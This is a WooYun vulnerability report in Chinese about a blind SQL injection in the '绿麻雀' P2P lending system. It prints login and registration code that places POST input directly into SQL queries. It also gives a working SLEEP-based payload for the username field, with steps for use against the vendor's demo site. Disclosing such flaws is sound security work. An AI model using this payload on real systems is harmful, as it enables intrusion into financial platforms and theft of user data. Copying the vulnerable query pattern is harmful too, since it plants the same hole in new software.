漏洞概要
关注数(24 )
关注此漏洞
漏洞标题:绿麻雀 p2p网贷系统sql盲注(demo演示)
提交时间:2015-10-05 11:37
修复时间:2016-01-11 15:32
公开时间:2016-01-11 15:32
漏洞类型:SQL注射漏洞
危害等级:高
自评Rank:11
漏洞状态:漏洞已经通知厂商但是厂商忽略漏洞
Tags标签:
无
漏洞详情 披露状态:
2015-10-05: 细节已通知厂商并且等待厂商处理中 2015-10-13: 厂商主动忽略漏洞,细节向第三方安全合作伙伴开放(绿盟科技 、唐朝安全巡航 ) 2015-12-07: 细节向核心白帽子及相关领域专家公开 2015-12-17: 细节向普通白帽子公开 2015-12-27: 细节向实习白帽子公开 2016-01-11: 细节向公众公开
简要描述: 利用起来有点麻烦,不过还是可以注入的,只是需要花很长的时间 tp框架,无视gpc 具体不清楚是哪个版本。不过可以肯定的是,一定是最新的
详细说明: /App/Lib/Action/M/PubAction.class.php
<?php class PubAction extends Action { public function Verify() { import("ORG.Util.Image"); Image::buildImageVerify(); } /** * 用户登陆 */ public function login() { if($this->isPost()){ //[username] => dsfsaf [password] => asdf [verify] => mebr if($_SESSION['verify'] != md5($_POST['verify'])) { $this->error('验证码错误!'); } $user_name = $this->_post('username'); $pass = $this->_post('password'); $vo = M('members')->field('id,user_name,user_email,user_pass,is_ban')->where("user_name='{$user_name}'")->find(); if(!$vo){ $this->error('没有此用户!'); } if($vo['is_ban']==1){ $this->error('您的帐户已被冻结,请联系客服处理!'); } if($vo['user_pass'] != md5($pass)){ $this->error('密码错误,请重新输入!'); } session('u_id', $vo['id']); session('u_user_name', $vo['user_name']); $JumpUrl = session('JumpUrl')?session('JumpUrl'):U('M/user/index'); session('JumpUrl',''); $this->success("登陆成功!", $JumpUrl); }else{ if(session('u_id')){ $this->redirect('M/user/index'); } session('JumpUrl', $_SERVER['HTTP_REFERER']); $this->display(); } } /** * 注销用户 */ public function Logout() { session(null); $this->success('安全退出!',U('M/index/index')); } /** * 用户注册 * */ public function regist() { if(session('u_id')){ $this->redirect('M/user/index'); } if($this->isAjax()){ $email = $this->_post('email'); $username = $this->_post('username'); $password = $this->_post('password'); $verify = $this->_post('verify'); if(!$email || !$username || !$password || !$verify){ die("数据不完整"); } if($_SESSION['verify'] != md5($verify)) { die('验证码错误!'); } if(M("members")->where("user_email='{$email}'")->count('id')){ die("邮箱被占用,请更换邮箱地址"); } if(M("members")->where("user_name='{$username}'")->count('id')){ die("用户名已被占用,请更换"); } $data = array( 'user_name'=>$username, 'user_pass'=>md5($password), 'user_email'=>$email, 'reg_time'=>time(), 'reg_ip' => get_client_ip(), ); if($newid = M("members")->add($data)){ //Notice(1,$newid,array('email',$data['user_email'])); session('u_id', $newid); session('u_user_name', $username); echo '1'; }else{ die('注册失败'); } }else{ $this->display(); } } } ?>
这里应该是三处。 应该都很清楚,直接获取post然后直接进库,我就不分析了。 但是官网的demo跟这里有点不一样,后面两处官网要验证手机,我就不验证了。 第一处的payload: test' AND (SELECT * FROM (SELECT(SLEEP(6)))test) AND 'wooyun'='wooyun 利用方法很简单 打开http://**.**.**.**/m/pub/login(这个是官网手机客户端的demo演示站) 输入用户名: test' AND (SELECT * FROM (SELECT(SLEEP(6)))test) AND 'wooyun'='wooyun 密码随意,然后把输入验证码(要输入正确) 点击登录,就可以进行延时注入了!
漏洞证明: 修复方案: 版权声明:转载请注明来源 不能忍 @乌云
漏洞回应 厂商回应: 危害等级:无影响厂商忽略
忽略时间:2016-01-11 15:32
厂商回复:
漏洞Rank:4 (WooYun评价)
最新状态: 暂无
漏洞评价:
评价